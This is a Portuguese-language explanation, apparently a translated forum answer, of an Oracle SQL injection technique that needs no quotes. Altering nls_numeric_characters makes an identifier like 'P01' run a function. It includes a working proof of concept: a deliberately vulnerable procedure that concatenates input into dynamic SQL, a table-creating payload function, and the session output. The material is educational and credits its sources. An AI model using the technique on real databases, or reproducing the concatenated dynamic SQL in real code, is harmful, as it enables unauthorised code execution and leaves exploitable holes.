Sim, é possível executar um ataque de injeção SQL sem fornecer aspas no parâmetro
A maneira de fazer isso é com uma exploração relacionada ao modo como números e / ou datas são processados. Você pode especificar no nível da sessão qual é o formato de uma data ou número. Ao manipular isso, você pode injetar qualquer caractere.
Por padrão, no Reino Unido e nos EUA, uma vírgula é usada para indicar o separador de milhares em números e um ponto final para o ponto decimal. Você pode alterar esses padrões executando:
alter session set nls_numeric_characters = 'PZ';
Isso significa que "P" agora é o ponto decimal e "Z" é o separador de milhares. Então:
0P01
É o número 0,01. No entanto, se você criar uma função P01, a referência do objeto será selecionada antes da conversão numérica. Isso permite que você execute funções no banco de dados, oferecendo poderes crescentes, da seguinte maneira:
Crie uma função básica "obter pelo id":
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Crie também uma função P01 que faça algo indesejável (neste caso, apenas crie uma tabela, mas você entendeu):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
E estamos prontos para ir:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Não há aspas em nenhum lugar, mas ainda conseguimos executar a função "oculta" P01 e criar a tabela t
!
Embora isso possa ser difícil na prática (e possa exigir algum conhecimento / ajuda interno), isso mostra que você pode injetar SQL sem precisar de aspas. Alterar o nls_date_format
pode permitir que coisas semelhantes sejam feitas.
As descobertas originais para números foram de David Litchfield e você pode ler o artigo dele aqui . Você pode encontrar a discussão de Tom Kyte sobre como as datas podem ser exploradas aqui .